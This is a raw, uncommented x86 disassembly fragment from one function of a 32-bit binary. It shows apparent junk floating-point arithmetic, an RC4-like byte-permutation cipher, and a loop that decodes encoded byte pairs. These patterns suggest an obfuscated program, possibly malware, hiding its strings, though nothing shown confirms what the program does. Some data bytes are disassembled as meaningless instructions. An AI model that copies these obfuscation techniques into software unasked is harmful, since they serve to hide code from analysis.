subss xmm0, dword [ebp - 0x6dc]
movss dword [ebp - 0x7dc], xmm0
movss xmm0, dword [ebp - 0x440]
mulss xmm0, dword [ebp - 0x6dc]
movss dword [ebp - 0x440], xmm0
movss xmm0, dword [ebp - 0x6dc]
comiss xmm0, dword [ebp - 0x440]
jbe 0x47e931
movss xmm0, dword [ebp - 0x7dc]
divss xmm0, dword [ebp - 0x6dc]
movss dword [ebp - 0x7dc], xmm0
movss xmm0, dword [ebp - 0x440]
divss xmm0, dword [ebp - 0x85c]
movss dword [ebp - 0x440], xmm0
movss xmm0, dword [ebp - 0xa78]
subss xmm0, dword [ebp - 0x440]
movss dword [ebp - 0xa78], xmm0
movss xmm0, dword [ebp - 0x440]
subss xmm0, dword [ebp - 0x85c]
movss dword [ebp - 0x440], xmm0
movss xmm0, dword [ebp - 0x85c]
divss xmm0, dword [ebp - 0xa78]
movss dword [ebp - 0x85c], xmm0
movss xmm0, dword [ebp - 0x85c]
mulss xmm0, dword [ebp - 0xa78]
movss dword [ebp - 0x85c], xmm0
jmp 0x47e9dd
movss xmm0, dword [ebp - 0x440]
mulss xmm0, dword [ebp - 0x85c]
movss dword [ebp - 0x440], xmm0
movss xmm0, dword [ebp - 0x440]
subss xmm0, dword [ebp - 0x85c]
movss dword [ebp - 0x440], xmm0
movss xmm0, dword [ebp - 0x7dc]
subss xmm0, dword [ebp - 0x6dc]
movss dword [ebp - 0x7dc], xmm0
movss xmm0, dword [ebp - 0x6dc]
addss xmm0, dword [ebp - 0x1a1c]
movss dword [ebp - 0x6dc], xmm0
movss xmm0, dword [ebp - 0x7dc]
subss xmm0, dword [ebp - 0x6dc]
movss dword [ebp - 0x7dc], xmm0
movss xmm0, dword [ebp - 0x440]
mulss xmm0, dword [ebp - 0x85c]
movss dword [ebp - 0x440], xmm0
movzx eax, byte [ebp - 0x18d]
movzx ecx, byte [ebp - 0x192]
mov dl, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], dl
movzx eax, byte [ebp - 0x18d]
mov cl, byte [ebp - 0x1b1]
mov byte [ebp + eax - 0xf4c], cl
movzx edx, byte [ebp - 0x1b1]
movzx eax, byte [ebp + edx - 0xf4c]
movzx ecx, byte [ebp - 0x1b2]
add ecx, eax
mov byte [ebp - 0x1b2], cl
movzx edx, byte [ebp - 0x1b3]
movzx eax, byte [ebp - 0x191]
movzx ecx, byte [ebp + eax - 0xf4c]
movzx eax, byte [ebp - 0x18d]
movzx eax, byte [ebp + eax - 0xf4c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
xor edx, ecx
movzx eax, byte [ebp - 0x192]
movzx ecx, byte [ebp + eax - 0xf4c]
movzx eax, byte [ebp - 0x1a1]
movzx eax, byte [ebp + eax - 0xf4c]
add ecx, eax
movzx eax, byte [ebp - 0x1b2]
movzx eax, byte [ebp + eax - 0xf4c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx eax, byte [ebp + ecx - 0xf4c]
xor edx, eax
mov byte [ebp - 0x192], dl
mov cl, byte [ebp - 0x1b3]
mov byte [ebp - 0x1a1], cl
mov dl, byte [ebp - 0x192]
mov byte [ebp - 0x1db], dl
cmp dword [ebp - 0x1f8], 0
jle 0x47eacc
movsx ax, byte [ebp - 0x1db]
mov ecx, dword [ebp - 0x1f8]
mov word [ebp + ecx*2 - 0xc6], ax
mov edx, 2
imul eax, edx, 0xc
mov dword [ebp - 0xfdc], eax
cmp dword [ebp - 0xfdc], 0x1a
jae 0x47eae5
jmp 0x47eaeb
call fcn.0051c285
nop
xor ecx, ecx
mov edx, dword [ebp - 0xfdc]
mov word [ebp + edx - 0xc4], cx
jmp 0x47eb52
mov dword [ebp - 0xc70], 0
jmp 0x47eb18
mov eax, dword [ebp - 0xc70]
add eax, 1
mov dword [ebp - 0xc70], eax
cmp dword [ebp - 0xc70], 0xd
jge 0x47eb52
mov ecx, dword [ebp - 0xc70]
shl ecx, 1
mov dword [ebp - 0xf94], ecx
cmp dword [ebp - 0xf94], 0x1a
jae 0x47eb3a
jmp 0x47eb40
call fcn.0051c285
nop
xor edx, edx
mov eax, dword [ebp - 0xf94]
mov word [ebp + eax - 0xc4], dx
jmp 0x47eb09
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x184], 0
xorps xmm0, xmm0
movsd qword [ebp - 0xc18], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb7c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb7c], xmm0
jmp 0x47eba1
movsd xmm0, qword [ebp - 0xb7c]
addsd xmm0, qword [0x5806f8]
movsd qword [ebp - 0xb7c], xmm0
movsd xmm0, qword [0x582278]
comisd xmm0, xmmword [ebp - 0xb7c]
jbe 0x47ec52
movsd xmm0, qword [0x582060]
mulsd xmm0, qword [ebp - 0xb7c]
mulsd xmm0, qword [ebp - 0xb7c]
movsd xmm1, qword [ebp - 0xb7c]
mulsd xmm1, qword [ebp - 0xb7c]
subsd xmm0, xmm1
movsd xmm1, qword [0x581e88]
mulsd xmm1, qword [ebp - 0xb7c]
mulsd xmm1, qword [ebp - 0xb7c]
addsd xmm1, qword [0x581f38]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0xc18]
movsd qword [ebp - 0xc18], xmm0
movsd xmm0, qword [ebp - 0xc18]
comisd xmm0, xmmword [0x581f88]
jbe 0x47ec4d
movsd xmm0, qword [0x581db0]
mulsd xmm0, qword [ebp - 0xb7c]
movsd xmm1, qword [ebp - 0xc18]
subsd xmm1, xmm0
movsd qword [ebp - 0xc18], xmm1
jmp 0x47eb89
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0xc18]
jbe 0x47ec9f
aas
and eax, 0x574e4f6c
dec esi
and al, 0x2d
xor ecx, dword [ebp + 0x30]
and eax, 0x79243158
dec ebp
dec edi
popal
outsd dx, dword [esi]
push esp
jge 0x47ecc6
sub al, 0x77
dec ecx
xor eax, 0x35282d20
and dword [0x2a2a3220], esi
and al, 0x2c
and ebp, dword [esi]
and ch, byte [eax]
sub ch, byte [edx]
pop ds
das
sub ch, byte [0x2a22262d]
sub byte [ebx], dh
sub dword [esi], esi
jmp 0x48046d
mov dword [ebp - 0x180], 0x47ec7a
mov dword [ebp - 0x184], 0x47ec5f
mov ecx, dword [ebp - 0x180]
mov dword [ebp - 0x7e4], ecx
mov edx, dword [ebp - 0x184]
mov dword [ebp - 0x1a78], edx
mov byte [ebp - 0x75f], 0x1f
mov dword [ebp - 0x444], 0
jmp 0x47eced
xchg ebp, eax
mov ch, ah
invalid
mov eax, dword [ebp - 0x444]
add eax, 1
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0x100
jae 0x47ed0e
mov ecx, dword [ebp - 0x444]
mov dl, byte [ebp - 0x444]
mov byte [ebp + ecx - 0x1dd0], dl
jmp 0x47ecde
mov dword [ebp - 0xa74], 0
mov byte [ebp - 0x1fa], 0
mov dword [ebp - 0x444], 0xff
jmp 0x47ed3a
mov eax, dword [ebp - 0x444]
sub eax, 1
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0
jbe 0x47efaa
mov dword [ebp - 0xdac], 0
mov dword [ebp - 0xc74], 1
mov ecx, dword [ebp - 0xc74]
cmp ecx, dword [ebp - 0x444]
jae 0x47ed7b
mov edx, dword [ebp - 0xc74]
lea eax, [edx + edx + 1]
mov dword [ebp - 0xc74], eax
jmp 0x47ed5b
mov ecx, dword [ebp - 0xa74]
mov dword [ebp - 0xfe4], ecx
cmp dword [ebp - 0xfe4], 3
ja case.default.0x47ed9a
mov edx, dword [ebp - 0xfe4]
jmp dword [edx*4 + 0x4950f4]
movzx eax, byte [ebp - 0x1fa]
movzx ebx, byte [ebp + eax - 0x1dd0]
movsd xmm0, qword [ebp - 0xc18]
call fcn.0051c6e0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fa], bl
jmp 0x47ee83
movzx ecx, byte [ebp - 0x1fa]
movzx ebx, byte [ebp + ecx - 0x1dd0]
movsd xmm0, qword [ebp - 0xc18]
call fcn.0051c6e0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fa], bl
jmp 0x47ee83
movzx edx, byte [ebp - 0x1fa]
movzx ebx, byte [ebp + edx - 0x1dd0]
movsd xmm0, qword [ebp - 0xc18]
call fcn.0051c6e0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fa], bl
jmp 0x47ee83
movzx eax, byte [ebp - 0x1fa]
movzx ebx, byte [ebp + eax - 0x1dd0]
movsd xmm0, qword [ebp - 0xc18]
call fcn.0051c6e0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fa], bl
jmp 0x47ee83
movzx ecx, byte [ebp - 0x1fa]
movzx edx, byte [ebp + ecx - 0x1dd0]
mov eax, dword [ebp - 0x1a78]
add eax, dword [ebp - 0xa74]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x1fa], dl
mov edx, dword [ebp - 0xa74]
add edx, 1
mov dword [ebp - 0xa74], edx
movzx eax, byte [ebp - 0x75f]
cmp dword [ebp - 0xa74], eax
jb 0x47eec1
mov dword [ebp - 0xa74], 0
movzx ecx, byte [ebp - 0x75f]
movzx edx, byte [ebp - 0x1fa]
add edx, ecx
mov byte [ebp - 0x1fa], dl
movzx eax, byte [ebp - 0x1fa]
and eax, dword [ebp - 0xc74]
mov dword [ebp - 0x908], eax
mov ecx, dword [ebp - 0xdac]
add ecx, 1
mov dword [ebp - 0xdac], ecx
cmp dword [ebp - 0xdac], 0xb
jbe 0x47ef00
mov eax, dword [ebp - 0x908]
xor edx, edx
div dword [ebp - 0x444]
mov dword [ebp - 0x908], edx
mov edx, dword [ebp - 0x908]
cmp edx, dword [ebp - 0x444]
ja 0x47ed7b
mov eax, dword [ebp - 0x444]
cmp eax, dword [ebp - 0x908]
je 0x47efa5
mov ecx, dword [ebp - 0x908]
movzx edx, byte [ebp + ecx - 0x1dd0]
mov eax, dword [ebp - 0x444]
movzx ecx, byte [ebp + eax - 0x1dd0]
xor ecx, edx
mov edx, dword [ebp - 0x444]
mov byte [ebp + edx - 0x1dd0], cl
mov eax, dword [ebp - 0x444]
movzx ecx, byte [ebp + eax - 0x1dd0]
mov edx, dword [ebp - 0x908]
movzx eax, byte [ebp + edx - 0x1dd0]
xor eax, ecx
mov ecx, dword [ebp - 0x908]
mov byte [ebp + ecx - 0x1dd0], al
mov edx, dword [ebp - 0x908]
movzx eax, byte [ebp + edx - 0x1dd0]
mov ecx, dword [ebp - 0x444]
movzx edx, byte [ebp + ecx - 0x1dd0]
xor edx, eax
mov eax, dword [ebp - 0x444]
mov byte [ebp + eax - 0x1dd0], dl
jmp 0x47ed2b
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x1dd0]
mov byte [ebp - 0x1b4], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x1dd0]
mov byte [ebp - 0x1c4], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x1dd0]
mov byte [ebp - 0x1e9], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x1dd0]
mov byte [ebp - 0x1c5], dl
movzx eax, byte [ebp - 0x1fa]
mov cl, byte [ebp + eax - 0x1dd0]
mov byte [ebp - 0x1da], cl
mov dword [ebp - 0x1054], 0x20
cmp dword [ebp - 0x1054], 2
jle 0x48041c
mov edx, dword [ebp - 0x1054]
and edx, 1
jne 0x48041c
mov dword [ebp - 0x29c], 0
mov dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x52c]
add eax, 1
mov dword [ebp - 0x52c], eax
mov dword [ebp - 0x7e0], 0
mov ecx, dword [ebp - 0x29c]
shl ecx, 1
mov dword [ebp - 0x7e0], ecx
mov dword [ebp - 0x734], 0
mov edx, dword [ebp - 0x7e4]
add edx, dword [ebp - 0x7e0]
movzx eax, byte [edx]
add eax, dword [ebp - 0x734]
mov dword [ebp - 0x734], eax
mov dword [ebp - 0x738], 0
mov ecx, dword [ebp - 0x738]
add ecx, 0x26
mov dword [ebp - 0x738], ecx
mov dword [ebp - 0x7bc], 0
mov edx, dword [ebp - 0x29c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x7bc], eax
mov dword [ebp - 0x74c], 0
mov ecx, dword [ebp - 0x7e4]
add ecx, dword [ebp - 0x7bc]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x74c]
mov dword [ebp - 0x74c], edx
mov dword [ebp - 0x750], 0
mov eax, dword [ebp - 0x750]
add eax, 0x1f
mov dword [ebp - 0x750], eax
mov dword [ebp - 0x754], 0
mov ecx, dword [ebp - 0x734]
sub ecx, dword [ebp - 0x738]
add ecx, dword [ebp - 0x754]
mov dword [ebp - 0x754], ecx
mov dword [ebp - 0x758], 0
mov edx, dword [ebp - 0x74c]
sub edx, dword [ebp - 0x750]
add edx, dword [ebp - 0x758]
mov dword [ebp - 0x758], edx
mov dword [ebp - 0x7d8], 0
mov eax, dword [ebp - 0x754]
shl eax, 4
mov dword [ebp - 0x7d8], eax
mov dword [ebp - 0x7c0], 0
mov ecx, dword [ebp - 0x758]
mov dword [ebp - 0x7c0], ecx
mov dword [ebp - 0x7c4], 0
mov edx, dword [ebp - 0x7d8]
or edx, dword [ebp - 0x7c0]
mov dword [ebp - 0x7c4], edx
mov byte [ebp - 0x1ea], 0
mov al, byte [ebp - 0x7c4]
mov byte [ebp - 0x1ea], al
mov byte [ebp - 0x1e8], 0
movzx ecx, byte [ebp - 0x1da]
mov dl, byte [ebp + ecx - 0x1dd0]
mov byte [ebp - 0x1e8], dl
movzx eax, byte [ebp - 0x1b4]
movzx ecx, byte [ebp + eax - 0x1dd0]
mov dword [ebp - 0x1a7c], ecx
mov dl, byte [ebp - 0x1b4]
add dl, 1
mov byte [ebp - 0x1b4], dl
movzx eax, byte [ebp - 0x1c4]
add eax, dword [ebp - 0x1a7c]
mov byte [ebp - 0x1c4], al
movzx ecx, byte [ebp - 0x1c4]
movzx edx, byte [ebp - 0x1da]
mov al, byte [ebp + ecx - 0x1dd0]
mov byte [ebp + edx - 0x1dd0], al
movzx ecx, byte [ebp - 0x1c5]
movzx edx, byte [ebp - 0x1c4]
mov al, byte [ebp + ecx - 0x1dd0]
mov byte [ebp + edx - 0x1dd0], al
movzx ecx, byte [ebp - 0x1b4]
movzx edx, byte [ebp - 0x1c5]
mov al, byte [ebp + ecx - 0x1dd0]
mov byte [ebp + edx - 0x1dd0], al
movzx ecx, byte [ebp - 0x1b4]
mov dl, byte [ebp - 0x1e8]
mov byte [ebp + ecx - 0x1dd0], dl
movzx eax, byte [ebp - 0x1e8]
movzx ecx, byte [ebp + eax - 0x1dd0]
movzx edx, byte [ebp - 0x1e9]
add edx, ecx
mov byte [ebp - 0x1e9], dl
movzx eax, byte [ebp - 0x1ea]
movzx ecx, byte [ebp - 0x1c4]
movzx edx, byte [ebp + ecx - 0x1dd0]
movzx ecx, byte [ebp - 0x1b4]
movzx ecx, byte [ebp + ecx - 0x1dd0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1dd0]
xor eax, edx
movzx ecx, byte [ebp - 0x1c5]
movzx edx, byte [ebp + ecx - 0x1dd0]
movzx ecx, byte [ebp - 0x1da]
movzx ecx, byte [ebp + ecx - 0x1dd0]
add edx, ecx
movzx ecx, byte [ebp - 0x1e9]
movzx ecx, byte [ebp + ecx - 0x1dd0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1dd0]
movzx ecx, byte [ebp + edx - 0x1dd0]
xor eax, ecx
mov byte [ebp - 0x1c5], al
mov dl, byte [ebp - 0x1ea]
mov byte [ebp - 0x1da], dl
mov al, byte [ebp - 0x1c5]
mov byte [ebp - 0x239], al
cmp dword [ebp - 0x29c], 0
jle 0x47f33d
mov ecx, dword [ebp - 0x29c]
mov dl, byte [ebp - 0x239]
mov byte [ebp + ecx - 0xd5], dl
mov eax, dword [ebp - 0x29c]
add eax, 1
mov dword [ebp - 0x29c], eax
mov ecx, dword [ebp - 0x52c]
add ecx, 1
mov dword [ebp - 0x52c], ecx
mov edx, dword [ebp - 0x29c]
shl edx, 1
mov dword [ebp - 0x7e0], edx
mov eax, dword [ebp - 0x7e4]
add eax, dword [ebp - 0x7e0]
movzx ecx, byte [eax]
mov dword [ebp - 0x734], ecx
mov dword [ebp - 0x738], 0x26
mov edx, dword [ebp - 0x29c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x7bc], eax
mov ecx, dword [ebp - 0x7e4]
add ecx, dword [ebp - 0x7bc]
movzx edx, byte [ecx]
mov dword [ebp - 0x74c], edx
mov dword [ebp - 0x750], 0x1f
mov eax, dword [ebp - 0x734]
sub eax, dword [ebp - 0x738]
mov dword [ebp - 0x754], eax
mov ecx, dword [ebp - 0x74c]
sub ecx, dword [ebp - 0x750]
mov dword [ebp - 0x758], ecx
mov edx, dword [ebp - 0x754]
shl edx, 4
mov dword [ebp - 0x7d8], edx
mov eax, dword [ebp - 0x758]
mov dword [ebp - 0x7c0], eax
mov ecx, dword [ebp - 0x7d8]
or ecx, dword [ebp - 0x7c0]
mov dword [ebp - 0x7c4], ecx
mov dl, byte [ebp - 0x7c4]
mov byte [ebp - 0x1ea], dl
movzx eax, byte [ebp - 0x1da]
mov cl, byte [ebp + eax - 0x1dd0]
mov byte [ebp - 0x1e8], cl
movzx edx, byte [ebp - 0x1b4]
movzx eax, byte [ebp + edx - 0x1dd0]
mov dword [ebp - 0x1a80], eax
mov cl, byte [ebp - 0x1b4]
add cl, 1
mov byte [ebp - 0x1b4], cl
movzx edx, byte [ebp - 0x1c4]
add edx, dword [ebp - 0x1a80]
mov byte [ebp - 0x1c4], dl
movzx eax, byte [ebp - 0x1c4]
movzx ecx, byte [ebp - 0x1da]
mov dl, byte [ebp + eax - 0x1dd0]
mov byte [ebp + ecx - 0x1dd0], dl
movzx eax, byte [ebp - 0x1c5]
movzx ecx, byte [ebp - 0x1c4]
mov dl, byte [ebp + eax - 0x1dd0]
mov byte [ebp + ecx - 0x1dd0], dl
movzx eax, byte [ebp - 0x1b4]
movzx ecx, byte [ebp - 0x1c5]
mov dl, byte [ebp + eax - 0x1dd0]
mov byte [ebp + ecx - 0x1dd0], dl
movzx eax, byte [ebp - 0x1b4]
mov cl, byte [ebp - 0x1e8]
mov byte [ebp + eax - 0x1dd0], cl
movzx edx, byte [ebp - 0x1e8]
movzx eax, byte [ebp + edx - 0x1dd0]
movzx ecx, byte [ebp - 0x1e9]
add ecx, eax
mov byte [ebp - 0x1e9], cl
movzx edx, byte [ebp - 0x1ea]
movzx eax, byte [ebp - 0x1c4]
movzx ecx, byte [ebp + eax - 0x1dd0]
movzx eax, byte [ebp - 0x1b4]
movzx eax, byte [ebp + eax - 0x1dd0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1dd0]
xor edx, ecx
movzx eax, byte [ebp - 0x1c5]
movzx ecx, byte [ebp + eax - 0x1dd0]
movzx eax, byte [ebp - 0x1da]
movzx eax, byte [ebp + eax - 0x1dd0]
add ecx, eax
movzx eax, byte [ebp - 0x1e9]
movzx eax, byte [ebp + eax - 0x1dd0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1dd0]
movzx eax, byte [ebp + ecx - 0x1dd0]
xor edx, eax
mov byte [ebp - 0x1c5], dl
mov cl, byte [ebp - 0x1ea]
mov byte [ebp - 0x1da], cl
mov dl, byte [ebp - 0x1c5]
mov byte [ebp - 0x239], dl
cmp dword [ebp - 0x29c], 0
jle 0x47f59f
mov eax, dword [ebp - 0x29c]
mov cl, byte [ebp - 0x239]
mov byte [ebp + eax - 0xd5], cl
mov edx, dword [ebp - 0x52c]
add edx, 6
mov dword [ebp - 0x52c], edx
mov eax, dword [ebp - 0x29c]
add eax, 1
mov dword [ebp - 0xdb4], eax
jmp 0x47f5ce
mov ecx, dword [ebp - 0xdb4]
add ecx, 1
mov dword [ebp - 0xdb4], ecx
mov edx, dword [ebp - 0xdb4]
cmp edx, dword [ebp - 0x52c]
jge 0x47f835
mov eax, dword [ebp - 0x29c]
add eax, 1
mov dword [ebp - 0x29c], eax
mov ecx, dword [ebp - 0x29c]
shl ecx, 1
mov dword [ebp - 0x7e0], ecx
mov edx, dword [ebp - 0x7e4]
add edx, dword [ebp - 0x7e0]
movzx eax, byte [edx]
mov dword [ebp - 0x734], eax
mov dword [ebp - 0x738], 0x26
mov ecx, dword [ebp - 0x29c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x7bc], edx
mov eax, dword [ebp - 0x7e4]
add eax, dword [ebp - 0x7bc]
movzx ecx, byte [eax]
mov dword [ebp - 0x74c], ecx
mov dword [ebp - 0x750], 0x1f
mov edx, dword [ebp - 0x734]
sub edx, dword [ebp - 0x738]
mov dword [ebp - 0x754], edx
mov eax, dword [ebp - 0x74c]
sub eax, dword [ebp - 0x750]
mov dword [ebp - 0x758], eax
mov ecx, dword [ebp - 0x754]
shl ecx, 4
mov dword [ebp - 0x7d8], ecx
mov edx, dword [ebp - 0x758]
mov dword [ebp - 0x7c0], edx
mov eax, dword [ebp - 0x7d8]
or eax, dword [ebp - 0x7c0]
mov dword [ebp - 0x7c4], eax
mov cl, byte [ebp - 0x7c4]
mov byte [ebp - 0x1ea], cl
movzx edx, byte [ebp - 0x1da]
mov al, byte [ebp + edx - 0x1dd0]
mov byte [ebp - 0x1e8], al
movzx ecx, byte [ebp - 0x1b4]
movzx edx, byte [ebp + ecx - 0x1dd0]
mov dword [ebp - 0x1a84], edx
mov al, byte [ebp - 0x1b4]
add al, 1
mov byte [ebp - 0x1b4], al
movzx ecx, byte [ebp - 0x1c4]
add ecx, dword [ebp - 0x1a84]
mov byte [ebp - 0x1c4], cl
movzx edx, byte [ebp - 0x1c4]
movzx eax, byte [ebp - 0x1da]
mov cl, byte [ebp + edx - 0x1dd0]
mov byte [ebp + eax - 0x1dd0], cl
movzx edx, byte [ebp - 0x1c5]
movzx eax, byte [ebp - 0x1c4]
mov cl, byte [ebp + edx - 0x1dd0]
mov byte [ebp + eax - 0x1dd0], cl
movzx edx, byte [ebp - 0x1b4]
movzx eax, byte [ebp - 0x1c5]
mov cl, byte [ebp + edx - 0x1dd0]
mov byte [ebp + eax - 0x1dd0], cl
movzx edx, byte [ebp - 0x1b4]
mov al, byte [ebp - 0x1e8]
mov byte [ebp + edx - 0x1dd0], al
movzx ecx, byte [ebp - 0x1e8]
movzx edx, byte [ebp + ecx - 0x1dd0]
movzx eax, byte [ebp - 0x1e9]
add eax, edx
mov byte [ebp - 0x1e9], al
movzx ecx, byte [ebp - 0x1ea]
movzx edx, byte [ebp - 0x1c4]
movzx eax, byte [ebp + edx - 0x1dd0]
movzx edx, byte [ebp - 0x1b4]
movzx edx, byte [ebp + edx - 0x1dd0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1dd0]
xor ecx, eax
movzx edx, byte [ebp - 0x1c5]
movzx eax, byte [ebp + edx - 0x1dd0]
movzx edx, byte [ebp - 0x1da]
movzx edx, byte [ebp + edx - 0x1dd0]
add eax, edx
movzx edx, byte [ebp - 0x1e9]
movzx edx, byte [ebp + edx - 0x1dd0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1dd0]
movzx edx, byte [ebp + eax - 0x1dd0]
xor ecx, edx
mov byte [ebp - 0x1c5], cl
mov al, byte [ebp - 0x1ea]
mov byte [ebp - 0x1da], al
mov cl, byte [ebp - 0x1c5]
mov byte [ebp - 0x239], cl
cmp dword [ebp - 0x29c], 0
jle 0x47f830
mov edx, dword [ebp - 0x29c]
mov al, byte [ebp - 0x239]
mov byte [ebp + edx - 0xd5], al
jmp 0x47f5bf
mov ecx, dword [ebp - 0x52c]
add ecx, 1
mov dword [ebp - 0x52c], ecx
mov edx, dword [ebp - 0x29c]
add edx, 1
mov dword [ebp - 0x29c], edx
mov eax, dword [ebp - 0x52c]
add eax, 1
mov dword [ebp - 0x52c], eax
mov ecx, dword [ebp - 0x29c]
shl ecx, 1
mov dword [ebp - 0x7e0], ecx
mov edx, dword [ebp - 0x7e4]
add edx, dword [ebp - 0x7e0]
movzx eax, byte [edx]
mov dword [ebp - 0x734], eax
movsd xmm0, qword [0x582738]
movsd qword [ebp - 0x964], xmm0
movsd xmm0, qword [0x5826a8]
movsd qword [ebp - 0x83c], xmm0
movsd xmm0, qword [0x5825c8]
movsd qword [ebp - 0x898], xmm0
movsd xmm0, qword [0x582480]
movsd qword [ebp - 0x974], xmm0
movsd xmm0, qword [0x582338]
movsd qword [ebp - 0x96c], xmm0
movsd xmm0, qword [0x582178]
movsd qword [ebp - 0x740], xmm0
movsd xmm0, qword [ebp - 0x974]
addsd xmm0, qword [ebp - 0x740]
movsd qword [ebp - 0x974], xmm0
movsd xmm0, qword [ebp - 0x83c]
addsd xmm0, qword [ebp - 0x740]
movsd qword [ebp - 0x83c], xmm0
movsd xmm0, qword [ebp - 0x964]
addsd xmm0, qword [ebp - 0x740]
movsd qword [ebp - 0x964], xmm0
movsd xmm0, qword [ebp - 0x974]
subsd xmm0, qword [ebp - 0x740]
movsd qword [ebp - 0x974], xmm0
movsd xmm0, qword [ebp - 0x898]
addsd xmm0, qword [ebp - 0x740]
movsd qword [ebp - 0x898], xmm0
movsd xmm0, qword [ebp - 0x964]
addsd xmm0, qword [ebp - 0x740]
movsd qword [ebp - 0x964], xmm0
movsd xmm0, qword [ebp - 0x740]
comisd xmm0, xmmword [ebp - 0x964]
jbe 0x47fbeb
movsd xmm0, qword [ebp - 0x974]
subsd xmm0, qword [ebp - 0x740]
movsd qword [ebp - 0x974], xmm0
movsd xmm0, qword [ebp - 0x964]
mulsd xmm0, qword [ebp - 0x898]
movsd qword [ebp - 0x964], xmm0
movsd xmm0, qword [ebp - 0x740]
divsd xmm0, qword [ebp - 0x83c]
movsd qword [ebp - 0x740], xmm0
movsd xmm0, qword [ebp - 0x96c]
divsd xmm0, qword [ebp - 0x964]
movsd qword [ebp - 0x96c], xmm0
movsd xmm0, qword [ebp - 0x83c]
subsd xmm0, qword [ebp - 0x974]
movsd qword [ebp - 0x83c], xmm0
movsd xmm0, qword [ebp - 0x740]
divsd xmm0, qword [ebp - 0x83c]
movsd qword [ebp - 0x740], xmm0
movsd xmm0, qword [ebp - 0x898]
mulsd xmm0, qword [ebp - 0x974]
movsd qword [ebp - 0x898], xmm0
movsd xmm0, qword [ebp - 0x96c]
subsd xmm0, qword [ebp - 0x740]
movsd qword [ebp - 0x96c], xmm0
movsd xmm0, qword [ebp - 0x83c]
addsd xmm0, qword [ebp - 0x898]
movsd qword [ebp - 0x83c], xmm0
movsd xmm0, qword [ebp - 0x898]
addsd xmm0, qword [ebp - 0x974]
movsd qword [ebp - 0x898], xmm0
movsd xmm0, qword [ebp - 0x898]
divsd xmm0, qword [ebp - 0x974]
movsd qword [ebp - 0x898], xmm0
movsd xmm0, qword [ebp - 0x83c]
addsd xmm0, qword [ebp - 0x898]
movsd qword [ebp - 0x83c], xmm0
movsd xmm0, qword [ebp - 0x96c]
comisd xmm0, xmmword [ebp - 0x898]
jbe 0x47fb56
movsd xmm0, qword [ebp - 0x740]
subsd xmm0, qword [ebp - 0x83c]
movsd qword [ebp - 0x740], xmm0
movsd xmm0, qword [ebp - 0x898]
mulsd xmm0, qword [ebp - 0x96c]
movsd qword [ebp - 0x898], xmm0
movsd xmm0, qword [ebp - 0x96c]
subsd xmm0, qword [ebp - 0x964]
movsd qword [ebp - 0x96c], xmm0
movsd xmm0, qword [ebp - 0x83c]
divsd xmm0, qword [ebp - 0x974]
movsd qword [ebp - 0x83c], xmm0
movsd xmm0, qword [ebp - 0x974]
mulsd xmm0, qword [ebp - 0x740]
movsd qword [ebp - 0x974], xmm0
movsd xmm0, qword [ebp - 0x964]
addsd xmm0, qword [ebp - 0x898]
movsd qword [ebp - 0x964], xmm0
jmp 0x47fbe6
movsd xmm0, qword [ebp - 0x83c]
subsd xmm0, qword [ebp - 0x974]
movsd qword [ebp - 0x83c], xmm0
movsd xmm0, qword [ebp - 0x740]
mulsd xmm0, qword [ebp - 0x83c]
movsd qword [ebp - 0x740], xmm0
movsd xmm0, qword [ebp - 0x740]
addsd xmm0, qword [ebp - 0x83c]
movsd qword [ebp - 0x740], xmm0
movsd xmm0, qword [ebp - 0x96c]
divsd xmm0, qword [ebp - 0x964]
movsd qword [ebp - 0x96c], xmm0
movsd xmm0, qword [ebp - 0x740]
divsd xmm0, qword [ebp - 0x83c]
movsd qword [ebp - 0x740], xmm0
movsd xmm0, qword [ebp - 0x96c]
mulsd xmm0, qword [ebp - 0x964]
movsd qword [ebp - 0x96c], xmm0
jmp 0x47fc85
movsd xmm0, qword [ebp - 0x96c]
subsd xmm0, qword [ebp - 0x964]
movsd qword [ebp - 0x96c], xmm0
movsd xmm0, qword [ebp - 0x974]
mulsd xmm0, qword [ebp - 0x740]
movsd qword [ebp - 0x974], xmm0
movsd xmm0, qword [ebp - 0x964]
subsd xmm0, qword [ebp - 0x898]
movsd qword [ebp - 0x964], xmm0
movsd xmm0, qword [ebp - 0x96c]
mulsd xmm0, qword [ebp - 0x964]
movsd qword [ebp - 0x96c], xmm0
movsd xmm0, qword [ebp - 0x898]
mulsd xmm0, qword [ebp - 0x96c]
movsd qword [ebp - 0x898], xmm0
movsd xmm0, qword [ebp - 0x83c]
addsd xmm0, qword [ebp - 0x974]
movsd qword [ebp - 0x83c], xmm0
mov dword [ebp - 0x738], 0x26
mov ecx, dword [ebp - 0x29c]
